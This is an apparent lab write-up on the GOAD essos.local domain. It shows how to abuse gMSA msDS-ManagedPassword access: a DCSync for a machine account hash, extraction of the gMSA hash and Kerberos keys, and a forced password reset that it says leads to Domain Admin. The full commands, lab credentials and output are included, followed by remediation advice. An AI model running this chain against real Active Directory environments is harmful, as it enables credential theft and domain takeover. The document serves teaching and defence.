GMSA Password Retrieval — Abusing msDS-ManagedPassword

Group Managed Service Accounts (gMSAs) were introduced to solve a real problem: service accounts with static passwords. Traditional service accounts require someone to set a password, store it somewhere, and rotate it manually. In practice, rotation rarely happens. gMSAs replace that model entirely. The domain controller generates and rotates the account’s password automatically on a configurable schedule, and the password is never directly visible to administrators. Services retrieve the current password blob from Active Directory at runtime via the msDS-ManagedPassword attribute.

The mechanism that controls who can retrieve that blob is msDS-GroupMSAMembership, a security descriptor stored on the gMSA object. Only the principals listed in that descriptor can read the managed password. When that list is scoped tightly to the service host itself, gMSA works exactly as intended. When it includes overly broad groups, unnecessary users, or a principal an attacker has already compromised, it becomes a direct credential exposure path.

---

Lab Configuration

The GOAD essos.local domain ships with a gMSA called gmsaDragon$. It is assigned SPNs for the BRAAVOS host and holds GenericAll over the drogon user account. The PrincipalsAllowedToRetrieveManagedPassword is set to BRAAVOS$ — the machine account for the host where the service runs. This is the intended default. The attack surface here is acquiring BRAAVOS$ credentials through a previously compromised domain admin, then impersonating the machine account to pull the password.

Confirming the configuration:

nxc ldap 10.3.10.12 -u jorah.mormont -p 'H0nnor!' -d essos.local --gmsa

LDAP  10.3.10.12  389  MEEREEN  [*] Getting GMSA Passwords
LDAP  10.3.10.12  389  MEEREEN  Account: gmsaDragon$  NTLM: <no read permissions>  PrincipalsAllowedToReadPassword: BRAAVOS$

jorah.mormont cannot read the blob. Only BRAAVOS$ can. The question becomes: can we become BRAAVOS$?

---

Step 1: Acquire the BRAAVOS$ Machine Account Hash

With administrator@essos.local compromised from a prior session, DCSync gives us the machine account hash directly:

impacket-secretsdump -just-dc-user 'BRAAVOS$' essos.local/administrator:'P@ssword123!'@10.3.10.12

BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:e0a0585b0c4e624d0bb3d83d918455a0:::
BRAAVOS$:aes256-cts-hmac-sha1-96:522cdba7d2ced885fd44b2835eae71be801aa638d40bfe29e17c6051dd84ad28

---

Step 2: Retrieve the GMSA Password

With the BRAAVOS$ NT hash, authenticate as the machine account and pull the managed password:

nxc ldap 10.3.10.12 -u 'BRAAVOS$' -H 'e0a0585b0c4e624d0bb3d83d918455a0' -d essos.local --gmsa

LDAP  10.3.10.12  389  MEEREEN  [*] Getting GMSA Passwords
LDAP  10.3.10.12  389  MEEREEN  Account: gmsaDragon$  NTLM: d3cc07446dbef0e590f77fee1e867efa  PrincipalsAllowedToReadPassword: BRAAVOS$

The same operation via gMSADumper, which also extracts Kerberos keys:

python3 gMSADumper.py -u 'BRAAVOS$' \
  -p 'aad3b435b51404eeaad3b435b51404ee:e0a0585b0c4e624d0bb3d83d918455a0' \
  -d essos.local -l 10.3.10.12

Users or groups who can read password for gmsaDragon$:
 > BRAAVOS$
gmsaDragon$:::d3cc07446dbef0e590f77fee1e867efa
gmsaDragon$:aes256-cts-hmac-sha1-96:612abb90efbd5a1b8d448d3a65bcdd38e1d7f289fb67fbaa0f55ff16253a66c9
gmsaDragon$:aes128-cts-hmac-sha1-96:2dbcdf53317aab263c54d10817ba8be7

---

Step 3: Exploit Downstream Permissions — GenericAll over drogon

A gMSA account is still a security principal. Whatever rights it holds in Active Directory can be exercised by anyone who possesses its NTLM hash or Kerberos keys. gmsaDragon$ holds GenericAll over drogon, meaning it can change that user’s password without knowing the current one.

Authenticate as gmsaDragon$ and force a password change on drogon:

impacket-changepasswd essos.local/drogon:'Dracarys'@10.3.10.12 \
  -newpass 'Pwn3d@ByGMSA!' \
  -altuser 'gmsaDragon$' \
  -althash 'd3cc07446dbef0e590f77fee1e867efa'

[*] Changing the password of essos.local\drogon
[*] Connecting to DCE/RPC as essos.local\gmsaDragon$
[*] Password was changed successfully.

Confirm the new credentials authenticate:

nxc smb 10.3.10.12 -u drogon -p 'Pwn3d@ByGMSA!' -d essos.local

SMB  10.3.10.12  445  MEEREEN  [+] essos.local\drogon:Pwn3d@ByGMSA! (Pwn3d!)

The Pwn3d! flag confirms local admin access. drogon is a member of the Dragons group, which chains through QueenProtector into Domain Admins. One GMSA hash retrieval produced Domain Admin in essos.local.

---

Why This Is a Critical Finding

The trust model behind gMSA assumes that the principals listed in msDS-GroupMSAMembership are the only ones who will ever authenticate as the machine account or read that attribute. The moment a domain admin account is compromised, every machine account hash in the domain is accessible via DCSync. If any of those machine accounts can read a GMSA password blob, the gMSA’s password is effectively exposed to any attacker with DA.

The downstream impact multiplies when the gMSA itself holds privileged ACL positions, GenericAll, WriteDacl, or similar. The account was designed to be a service account, but its permissions can make it a pivot point to domain compromise. The automatic password rotation provides zero protection once the hash is in an attacker’s hands; the current NTLM hash authenticates regardless of how frequently the DC rotates the underlying password.

---

Remediation

Scope PrincipalsAllowedToRetrieveManagedPassword tightly. The list should contain only the specific machine accounts or group managed service account users that genuinely require it. Audit the descriptor periodically and remove stale entries.

Treat gMSA accounts as privileged principals. Review what rights each gMSA holds in Active Directory. GenericAll, WriteDacl, or write permissions over user or computer objects should be removed unless explicitly required. A service account should not have attack-relevant ACL positions.

Monitor LDAP reads of msDS-ManagedPassword. Any read of this attribute is a security event. Legitimate reads originate from the listed service host during startup or service execution. Reads from unexpected sources, especially from a DC via DRSUAPI (DCSync), indicate either compromise or misconfiguration.

Limit DCSync exposure. The machine account hash was obtained through DCSync using a compromised domain admin. Enforcing tiered administration, monitoring for DS-Replication-Get-Changes-All usage, and detecting unusual account activity would constrain the attacker’s ability to reach the machine account hash in the first place.

Audit Kerberos keys, not just NTLM hashes. gMSADumper extracts AES keys in addition to the NTLM hash. Defenders focused only on NTLM Pass-the-Hash detections will miss Overpass-the-Hash and Pass-the-Ticket activity using those keys.